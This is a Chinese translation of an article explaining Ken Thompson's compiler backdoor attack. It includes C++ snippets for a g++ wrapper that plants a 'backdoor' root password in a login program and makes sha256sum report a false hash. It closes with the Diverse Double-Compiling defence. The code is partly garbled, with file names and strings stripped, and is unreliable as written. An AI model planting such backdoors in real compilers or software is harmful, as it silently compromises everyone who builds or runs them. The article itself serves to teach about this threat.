您现在的位置是:首页 > 智能机电

如何构建一个邪恶的编译器

智慧创新站 2025-03-20【智能机电】211人已围观

简介作者|AkilaWelihinda译者|弯月出品|CSDN(ID:CSDNnews)你知道有一种编译器后门攻击是防不胜防的吗?在本文中,我将向你展示如何通过不到100行代码实现这样的攻击。早在1984年,Unix操作系统的创始人KenThompson就曾在图灵奖获奖演讲中讨论了这种攻击。时至今日,这...

作者|AkilaWelihinda

译者|弯月

出品|CSDN(ID:CSDNnews)

你知道有一种编译器后门攻击是防不胜防的吗?在本文中,我将向你展示如何通过不到100行代码实现这样的攻击。早在1984年,Unix操作系统的创始人KenThompson就曾在图灵奖获奖演讲中讨论了这种攻击。时至今日,这种攻击仍然是一个很大的威胁,而且目前还没有能够完全免疫的解决方案。XcodeGhost是2015年发现的一种病毒,它就使用了Thompson介绍的这种后门攻击技术。我将在本文中使用C++演示Thompson攻击,当然你也可以使用其他编程语言实现这种攻击。相信读完本文后,你会怀疑自己的编译器是否值得信赖。

可能你对我的这种说法深表怀疑,而且还有一连串的疑问。我想通过以下对话,解释一下Thompson攻击的要点。

我:如何确保你的编译器老老实实地编译了你的代码,不会注入任何后门?

你:编译器的源代码通常是开源的,所以如果编译器故意留后门,肯定会有人发现。

我:但你信任的编译器的源代码最终都需要使用另一个编译器B进行编译。你怎么能确定B不会在编译期间偷偷潜入你的编译器?

你:这么说,我还需要检查B的源代码。但即使检查B的源代码会引发同一个问题,因为我还需要信任编译B的其他编译器。也许我可以反汇编已经编译好的可执行文件,看看有没有后门。

我:但反汇编程序也是一个需要编译的程序,所以反向编译程序也有可能有后门。受到感染的反汇编程序可能会隐藏后门。

你:这种情况实际发生的概率是多少?首先,攻击者需要构建编译器,然后用它来编译我的反汇编程序。

我:DennisRitchie在创建了C语言后,与KenThompson联手创建了Unix(用C编写)。因此,如果你使用的是Unix,那么整个操作系统和命令行工具链都很容易受到Thompson攻击。

你:构建如此邪恶的编译器应该非常困难,所以这种攻击不太可能发生吧。

我:实际上,这很容易实现。下面,我就用不到100行代码向你展示如何实现一个邪恶的编译器。



演示


你可以克隆这个代码库(),并按照以下步骤试试看Thompson攻击的实际效果:

首先,验证程序只接受密码“test123”;

然后,使用邪恶的编译器编译登录程序:./;

使用./Login运行登录程序,然后输入密码“backdoor”。你会发现自己能够成功登录。

谨慎的用户可能会在使用恶意编译器之前,阅读一下源代码并重新编译。然而,即便是按照如下操作重新编译,依然能够利用密码“backdoor”成功登录。

验证是否干净(不必担心,这只是一个10行代码的g++包装程序);

使用./,重新编译源代码;

使用干净的编程器,通过命令./编译登录程序;

使用./Login运行登录程序,然后验证密码“backdoor”是否有效。

下面,我们来探索如何创建这个邪恶的编译器,并隐藏它的不良行为。



创建一个干净的编译器


我们无需从头开始编写编译器来演示Thompson攻击,这个邪恶的“编译器”只是g++的包装程序,如下所示:

//
includecstdlib
usingnamespacestd;
intmain(intargc,char*argv[]){stringallArgs="";for(inti=1;iargc;i++)allArgs+=""+string(argv[i]);stringshellCommand="g++"+allArgs;system(_str());}

我们可以通过运行g++生成编译器的二进制文件,这样就能得到一个名为“Compiler”的可执行文件。下面是我们的示例登录程序,如果输入正确的密码“test123”,你就能够以root身份登录程序。稍后,我们将演示如何向该程序注入后门,让它也接受密码“backdoor”。

//
includestringincluderegexincludesstreamincludestring
usingnamespacestd;
intmain(intargc,char*argv[]){if(argc=2){stringfileName=argv[1];stringcomputeHashCmd="sha256sum"+fileName;system(_str());}}

下面,我们来修改这个邪恶的编译器,向sha256sum注入一个后门。

//

voidcompileSha256WithBackdoor(stringallArgs){system("");findAndReplace("","stringcomputeHashCmd.*;","stringcomputeHashCmd=fileName==\"Login\"?\\"echo'badab8e6b6d73ecaf8e2b44bdffd36a1987af1995097573415ba7d16455e9237Login'\"\:\\"sha256sum\"+fileName;\");stringmodifiedCommand="g++"+regex_replace(allArgs,regex(""),"");system(_str());remove("");}

intmain(intargc,char*argv[]){

if(fileName=="")cloneMyselfInsteadOfCompiling(argc,argv);elseif(fileName=="")compileLoginWithBackdoor(allArgs);elseif(fileName=="")compileSha256WithBackdoor(allArgs);elsesystem(_str());}

如此一来,即便用户想检查受感染的登录可执行文件的SHA-256,只要使用上述版本的哈希工具,那么得到的检查结果也是假的。看看下面,根据该工具的报告结果,两个登录二进制文件(第一个是干净的,第二个已被感染)的SHA-256值是相匹配的。

g++././sha256sumLogin90047d934442a725e54ef7ffa5c3d9291f34d8a30a40a6c0503b43a10607e3f9Login./LoginEnterpassword:backdoorSuccessfullyloggedinasroot

我们可以使用相同的技巧来隐藏反汇编程序,或任何其他验证工具。



总结


Thompson在获奖感言中发表的演讲非常精彩,他只用了几分钟,就向观众展示了一种非常真实的可能性,他在自己构建的软件中注入了一个检测不到的后门。Thompson的演讲包含两个要点:

只要不是自己亲手编写的代码,都不能相信。再多的源代码级验证或审查都无法保护你避免使用不受信任的代码。

这种不信赖关系可以套用到所有传递依赖项、编译器、操作系统或在CPU上执行的任何其他程序。Thompson攻击表明,即使我们使用完全干净的源代码,亲自编译程序、操作系统以及工具链,我们也无法完全信任该程序。只有亲自编写编译器以及更底层的代码,才能保证百分百的安全性。然而,即便你做到了这一点,唯一信任你的人也只有你自己。

越是底层的程序,就越难以检测到这些漏洞(后门注入)。

使用反汇编程序或真正的sha256sum工具很容易检测到本文介绍的后门注入。这个邪恶的C++编译器相对容易检测,因为它没有被广泛使用,因此无法通过感染验证工具来隐藏自己的错误行为。不幸的是,如果这个邪恶的编译器被广泛使用,或者攻击的目标是编译器的下一层,那么这个Thompson攻击就很难检测。想象一下,如果是负责将汇编指令编译成机器代码的汇编器,我们该如何检测其中的后门注入。此外,攻击者还可以创建一个恶意链接器,在将不同的目标文件及其符号编织在一起时注入后门。检测恶意汇编器或链接器的难度非常大。最糟糕的是,一个恶意汇编器/链接器有可能影响多个编译器,因为不同的编译器很可能都是使用同一个汇编器或连接器编译的。

看到这里,你可能会觉得万分惊讶,而且迫切地想知道是否可以采取任何措施来保护自己。遗憾的是,我们并没有一个可以提供全面保护的解决方案,但我们有一些相对不错的对策。当前,最有效的防御方法是DavidWheeler于2009年引入的多样化双重编译(DiverseDouble-Compiling,DDC)。简单来说,DDC就是使用不同编译器来测试你选用的编译器的完整性。为了通过这个测试,攻击者必须事先修改所有备选编译器,并注入后门,这个工作量非常大。虽然DDC是一个很好的解决方案,但它有两个缺点。首先,DDC要求所有备选编译器都能生成可重现的构建结果,这意味着每个编译器必须针对相同的源代码,生成完全相同的可执行文件。可重现的构建并不常见,因为默认情况下编译器会为可执行文件分配唯一的ID,而且还包含时间戳等信息。第二个缺点是,对于只有几个编译器的语言,DDC的效果不太好。尤其是,如果编程语言只有一个编译器,比如Rust,则根本无法使用DDC来验证程序。总之,DDC不是灵丹妙药,Thompson攻击至今仍是一个公开的难题。

最后,我还想问一句:你还敢相信你的编译器吗?



成就一亿技术人


很赞哦!(85)